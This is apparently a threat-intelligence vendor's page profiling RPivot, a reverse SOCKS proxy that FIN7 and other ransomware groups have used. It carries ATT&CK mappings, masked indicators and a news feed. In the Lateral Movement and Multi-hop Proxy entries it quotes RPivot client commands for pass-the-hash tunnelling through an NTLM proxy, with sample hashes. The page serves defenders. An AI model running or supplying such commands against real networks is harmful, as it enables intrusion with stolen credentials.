MalwareRansomwareUsed by 1 actor

RPivot

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

FIN7

Two of the Python components (166_65.py and 45_237_80.py) were copies of a publicly-available reverse SOCKS proxy called RPivot.

via sophos threat researchsophos.com

MITRE ATT&CK

Techniques & procedures

8 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

Finally, the Java second stage code executed the malicious Python payload, using a Python interpreter included in the dropped files renamed to debug.exe. The Python scripts launched were a set of backdoors.

T1059.006PythonEvidence1

Lateral Movement

1 technique

T1550.002Pass the HashEvidence1

Pass-the-hash is supported: python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Command and Control

5 techniques

T1071.001Web ProtocolsEvidence2

ProtonVPN.exe ... Connects to 207.90.238[.]99 ... TA0011: Command and Control – T1071.001: Web Protocols

T1090ProxyEvidence1

RPIVOT allows to tunnel traffic into internal network via socks 4. It works like ssh dynamic port forwarding but in the opposite direction.

T1090.002External ProxyEvidence2

rPivot (SOCKS4 reverse proxy) ... C -->|Networking| I[rPivot SOCKS4 reverse proxy];

T1090.003Multi-hop ProxyEvidence1

To pivot through an NTLM proxy: python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 ...

T1105Ingress Tool TransferEvidence1

The Java code then ran a series of PowerShell commands that downloaded a 7zip archive and the 7zip archiving utility.

INDICATORS OF COMPROMISE

IOCs tracked for this family

5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

1 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting

hash.sha256●●●●●●●●●●●●View more in app28 days ago

ip.v4●●●●●●●●●●●●View more in app6 months ago

ACTIVITY FEED

Recent activity

4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

4 SOURCESView more in app

sophos threat researchNews

Jan 1, 2026

Sophos MDR tracks two ransomware campaigns using “email bombing,” Microsoft Teams “vishing” | SOPHOS

A publicly available reverse SOCKS proxy used here as a Python backdoor to receive commands over port 80 and provide command-and-control/proxy capability.

sophos threat researchNews

Jan 1, 2026

Sophos MDR tracks two ransomware campaigns using “email bombing,” Microsoft Teams “vishing” | SOPHOS

A publicly available reverse SOCKS proxy repurposed here as a Python backdoor/proxy for command-and-control and remote access in STAC5143 intrusions.

the hacker newsNews

Dec 9, 2025

STAC6565 Targets Canada in 80% of Attacks as Gold Blade Deploys QWCrypt Ransomware

Open-source reverse proxy tool used for command-and-control communications by RedCurl/Gold Blade.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching5

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping8

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.